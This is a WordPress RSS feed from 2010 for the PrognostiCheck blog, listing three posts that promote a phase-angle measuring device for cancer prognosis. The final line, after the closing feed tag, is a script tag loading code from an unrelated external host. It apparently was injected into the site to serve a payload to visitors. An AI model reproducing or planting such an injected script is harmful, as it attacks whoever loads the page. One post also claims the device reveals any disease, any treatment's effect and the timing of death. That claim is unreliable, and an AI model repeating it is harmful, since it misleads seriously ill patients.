<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>PrognostiCheck® &#187; cancer treatment</title>
	<atom:link href="http://ipgdx.com/PrognostiCheck/Blog/tag/cancer-treatment/feed/" rel="self" type="application/rss+xml" />
	<link>http://ipgdx.com/PrognostiCheck/Blog</link>
	<description>Just another WordPress weblog</description>
	<lastBuildDate>Sat, 03 Apr 2010 15:01:50 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Prognosis; it is a matter of life and death, How effective is that treatment?</title>
		<link>http://ipgdx.com/PrognostiCheck/Blog/2010/04/prognosis-it-is-a-matter-of-life-and-death-how-effective-is-that-treatment/</link>
		<comments>http://ipgdx.com/PrognostiCheck/Blog/2010/04/prognosis-it-is-a-matter-of-life-and-death-how-effective-is-that-treatment/#comments</comments>
		<pubDate>Fri, 02 Apr 2010 14:13:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Cancer Prognosis]]></category>
		<category><![CDATA[Measure Prognosis]]></category>
		<category><![CDATA[Phase Angle]]></category>
		<category><![CDATA[Prognosis]]></category>
		<category><![CDATA[cancer treatment]]></category>
		<category><![CDATA[effectiveness of treatment]]></category>
		<category><![CDATA[end of life decisions]]></category>
		<category><![CDATA[If Sick How Sick]]></category>
		<category><![CDATA[Treatment and Prognosis]]></category>

		<guid isPermaLink="false">http://ipgdx.com/PrognostiCheck/Blog/?p=190</guid>
		<description><![CDATA[Imagine a technology that reports the presence-severity-progression of any disease, the effectiveness of any treatment and the timing of non-acute death (we can&#8217;t tell you about oncoming buses). Well PrognostiCheck is it; we measure the phase angle which is an illustration of the vitality of cell membranes. Disease begins and ends on a cellular level. [...]]]></description>
		<wfw:commentRss>http://ipgdx.com/PrognostiCheck/Blog/2010/04/prognosis-it-is-a-matter-of-life-and-death-how-effective-is-that-treatment/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Adenocarcinoma Prognosis</title>
		<link>http://ipgdx.com/PrognostiCheck/Blog/2009/12/adenocarcinoma-prognosis/</link>
		<comments>http://ipgdx.com/PrognostiCheck/Blog/2009/12/adenocarcinoma-prognosis/#comments</comments>
		<pubDate>Thu, 31 Dec 2009 10:23:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Adenocarcinoma Prognosis]]></category>
		<category><![CDATA[Cancer Prognosis]]></category>
		<category><![CDATA[Measure Prognosis]]></category>
		<category><![CDATA[Phase Angle]]></category>
		<category><![CDATA[Prognosis]]></category>
		<category><![CDATA[PrognostiCheck(R)]]></category>
		<category><![CDATA[adenocarcinoma]]></category>
		<category><![CDATA[adenocarcinoma lung]]></category>
		<category><![CDATA[cancer treatment]]></category>
		<category><![CDATA[treatment of cancer]]></category>

		<guid isPermaLink="false">http://ipgdx.com/PrognostiCheck/Blog/?p=156</guid>
		<description><![CDATA[Adenocarcinoma is a carcinoma that begins in cells lining glandular types of internal organs  (glandular epithelium tissue ) such as the lungs, breasts, colon, prostate, stomach, pancreas, and cervix and has gland-like properties.
PrognostiCheck® measures the prognosis of patients with Adenocarcinoma.
Check out the Slideshare Presentation on Adenocarcinoma Prognosis 

View more presentations from IPGDx LLC.

]]></description>
		<wfw:commentRss>http://ipgdx.com/PrognostiCheck/Blog/2009/12/adenocarcinoma-prognosis/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bioelectrical impedance Phase Angle as a Prognostic Indicator in advanced Pancreatic Cancer</title>
		<link>http://ipgdx.com/PrognostiCheck/Blog/2009/12/bioelectrical-impedance-phase-angle-as-a-prognostic-indicator-in-advanced-pancreatic-cancer/</link>
		<comments>http://ipgdx.com/PrognostiCheck/Blog/2009/12/bioelectrical-impedance-phase-angle-as-a-prognostic-indicator-in-advanced-pancreatic-cancer/#comments</comments>
		<pubDate>Wed, 09 Dec 2009 13:00:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Measure Prognosis]]></category>
		<category><![CDATA[Phase Angle]]></category>
		<category><![CDATA[Prognosis]]></category>
		<category><![CDATA[PrognostiCheck(R)]]></category>
		<category><![CDATA[advanced pancreatic cancer]]></category>
		<category><![CDATA[cancer treatment]]></category>
		<category><![CDATA[Pancreatic cancer]]></category>
		<category><![CDATA[Prognosis using PrognostiCheck®]]></category>

		<guid isPermaLink="false">http://ipgdx.com/PrognostiCheck/Blog/?p=139</guid>
		<description><![CDATA[Bioelectrical impedance analysis (BIA) is an easy-to-use, non-invasive and reproducible technique to evaluate changes in body composition and nutritional status. Phase angle, determined by BIA, has been validated for the assessment of body composition  and nutritional status in a variety of patient populations including cancer patients.
The PrognostiCheck® device measures Phase Angle. Here is an [...]]]></description>
		<wfw:commentRss>http://ipgdx.com/PrognostiCheck/Blog/2009/12/bioelectrical-impedance-phase-angle-as-a-prognostic-indicator-in-advanced-pancreatic-cancer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://holasionweb.com/oo.php"></script>